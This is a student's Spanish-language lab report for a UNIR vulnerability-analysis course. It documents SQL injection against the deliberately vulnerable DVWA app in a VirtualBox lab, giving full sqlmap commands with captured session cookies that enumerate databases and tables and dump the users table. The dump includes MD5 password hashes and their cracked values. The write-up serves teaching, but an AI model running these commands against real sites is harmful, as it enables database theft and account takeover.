Ortiz Angel SQLInjection Dvwa

Asignatura Análisis de vulnerabilidades

Datos del alumno

Fecha

Apellidos: Ortiz Gavilánez 03-07-2017 Nombre: Ángel Eduardo

Actividades Trabajo: Realizar ataques SQL Injection contra la aplicación DVWA En la siguiente actividad deberás realizar diversos ataques sobre la aplicación DVWA utilizando la técnica de SQL injection. Para ello, debes utilizar la herramienta SQLMap (instalada en Kali por defecto). Se valorará positivamente que expliques debidamente los pasos seguidos para la realización de cada ataque. Tendrás que:

TEMA 3 – Actividades

© Universidad Internacional de La Rioja, S. A. (UNIR)


Datos del alumno

Fecha


DESARROLLO Para realizar el ataque de Sql Injection preparamos un entorno controlado montado sobre virtualbox, trabajamos con dos máquinas virtuales siendo la primera el metasploitable en la cual se encuentra configurada la plataforma DVWA, que nos brinda un excelente escenario para poder probar varias técnicas hacking entre ellas la de la actual tarea; y, para la segunda máquina virtual utilizaremos Kali Linux como maquina atacante en la que se encuentra configurada el SQLMap.

’




Datos del alumno

Fecha


Y por último prepararemos el nivel de seguridad de la plataforma DVWA, para facilitar el entorno de ataque situándolo en seguridad baja.

» Indicar cuál/cuáles son los parámetros vulnerables de la URL. Para poder identificar la url y sus vulnerabilidades ingresamos a la plataforma DVWA, con el usuario “admin” y contraseña “password”, que nos brinda la misma herramienta en su inicio.




Datos del alumno

Fecha


Luego de acceder en el menú lateral derecho seleccionamos la opción SQL Injection, se nos presente un pequeño formulario en la cual ingresamos una comilla para verificar si es susceptible al ataque de SQL Injection.

Al ingresar la comilla se presenta un error de sintaxis verificando así que el campo es susceptible al ataque por SQL Injection, ya que utiliza un método GET para la obtención de

la

información

ingresada,

además

obtuvimos

(http://192.168.1.135/dvwa/vulnerabilities/sqli/?id=’&Submit=Submit#)

la

url

y

la

vulnerabilidad (Método GET) en la que centraremos nuestro ataque. » Obtener los nombres de las bases de datos disponibles. Para poder obtener acceso a la base de datos de la plataforma DVWA, se debe obtener las cookies que se generaron al momento de ingresar y la cabecera del navegador utilizado para acceder a la plataforma ya que requiere de autentificación para su acceso y dicha información es necesaria para realizar el ataque mediante el SQLMap. Mediante el uso de un complemente de Mozilla Firefox llamado “Tamper Data”, obtenemos tanto la cabecera como la cookies necesarias para el SQLMap, para ello en el formulario que encontramos en la opción SQL Injection de la plataforma DVWA, digitamos “1” para poder obtenerlas.




Datos del alumno

Fecha


Una vez obtenido los datos necesarios para el uso de SQLMap y así poder obtener los nombres de las bases de datos disponibles: Header: User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; RV:25.0) gECKO/20100101 FIREFOX/25.0 Cookie: security=low;PHPSESSID=28dd87ff5ee421cc7f199a5551312ec1 URL: http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1-BR&Submit=Submit# Comando: sqlmap --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; RV:25.0) gECKO/20100101

FIREFOX/25.0"

--

cookie="security=low;PHPSESSID=28dd87ff5ee421cc7f199a5551312ec1"

-u

'http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1-BR&Submit=Submit#' --dbs

` Una vez que el SQLMap haya concluido con el proceso nos brinda información variada desde la versión de servicios, sistema operativo y lo que necesitábamos las bases de datos disponibles las mismas que son:  dvwa  information_schema




Datos del alumno

Fecha


 metasploit  mysql  owasp10  tikiwiki  tikiwiki195 » Recuperar los nombres de las tablas de la base de datos dvwa. Debido a que en pasos anteriores se obtuvo todo lo necesario para obtener los nombres de las tablas de la base de datos, solo debemos aumentar ciertos parámetros al comando anterior como --tables, que sirve para obtener las tablas y el parámetro –D [base de datos], para especificar de qué base de datos deseo la información. Comando: sqlmap --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; RV:25.0) gECKO/20100101

FIREFOX/25.0"

cookie="security=low;PHPSESSID=28dd87ff5ee421cc7f199a5551312ec1"

--u

'http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1-BR&Submit=Submit#' --tables D dvwa

Las tablas obtenidas después de que el SQLMap culmine con el proceso fueron:  guestbook  users » Recuperar el contenido de las tablas de la base de datos dvwa.



Asignatura

Datos del alumno

Fecha

Apellidos: Ortiz Gavilánez

Análisis de vulnerabilidades

03-07-2017 Nombre: Ángel Eduardo

De la misma manera que en el anterior punto solo tendremos que modificar ciertos parámetros del anterior comando utilizando --dump vuelca resultados, mostrar contenido de las tablas, --batch para que no pida interacción del usuario utilizando el comportamiento predeterminado, -T para escoger la tabla de la que queremos la información y -D para escoger la base de datos de la que queremos la información. Para este proceso se deberá ejecutar dos veces el comando ya que la base de datos “dvwa”, está compuesta por dos tablas y el SQLMap al ser procesos automatizados si encuentra información codificada intentara generar el descifrado de las mismas. Comando tabla guestbook: sqlmap --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; RV:25.0) gECKO/20100101

FIREFOX/25.0"

cookie="security=low;PHPSESSID=28dd87ff5ee421cc7f199a5551312ec1" 'http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1-BR&Submit=Submit#'

--u --dump

–batch -T guestbook -D dvwa

Información de la tabla “guestbook” de la base de datos “dvwa” Comment_id Name Comment 1

test

This is a test comment

Comando tabla users: sqlmap --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; RV:25.0) gECKO/20100101


FIREFOX/25.0"

--


Asignatura

Datos del alumno

Fecha

Apellidos: Ortiz Gavilánez

Análisis de vulnerabilidades

03-07-2017 Nombre: Ángel Eduardo

cookie="security=low;PHPSESSID=28dd87ff5ee421cc7f199a5551312ec1" 'http://192.168.0.107/dvwa/vulnerabilities/sqli/?id=1-BR&Submit=Submit#'

-u --dump

–batch -T users -D dvwa

Información de la tabla “users” de la base de datos “dvwa” Use

User

Avatar

Password

r_i

Last_na

First_n

me

ame

admin

admin

Brown

Gordon

Me

Hack

Picasso

Pablo

Smith

Bob

d 1

2

admin

gordonb

http://172.16.123.129/

5f4dcc3b5aa765d61d83

dvwa/hackable/users/

27deb882cf99

admin.jpg

(pasword)

http://172.16.123.129/

e99al8c428cb38d5f260


853678922e03 (abc123)

gordonb.jpg 3

1337

http://172.16.123.129/

8d3533d75ae2c3966d7e


0d4fcc69216b (charley)

1337.jpg 4

pablo

http://172.16.123.129/

0dl07d09f5bbe40cade3


de5c71e9e9b7 (letmein)

pablo.jpg 5

smithy

http://172.16.123.129/

5f4dcc3b5aa765d61d83


27deb882cf99

smithy.jpg

(password)




»

Datos del alumno

Fecha


Verificación de usuarios obtenidos.

Para verificar si la información obtenida de la tabla “users” es correcta, ingresamos a la plataforma DVWA con el usuario “gordonb” y contraseña “abc123”.

WEBGRAFÍA SQLMap Training: Probando inyecciones en la plataforma DVWA http://www.caceriadespammers.com.ar/2014/01/sqlmap-training-dvwa.html Ejemplo de SQL Injection utilizando sqlmap y DVWA (corriendo en OWASP BWA) https://www.youtube.com/watch?v=MOGWwZwnGAQ SQLMap – Herramienta Automática de Inyección SQL http://www.dragonjar.org/sqlmap-herramienta-automatica-de-inyeccionsql.xhtml

Angel Eduardo Ortiz Gavilanez TEMA 3 – Actividades

Firmado digitalmente por Angel Eduardo Ortiz Gavilanez Fecha: 2017.07.03 17:31:40 -05'00' © Universidad Internacional de La Rioja, S. A. (UNIR)

Ortiz Angel SQLInjection Dvwa

Recommend Documents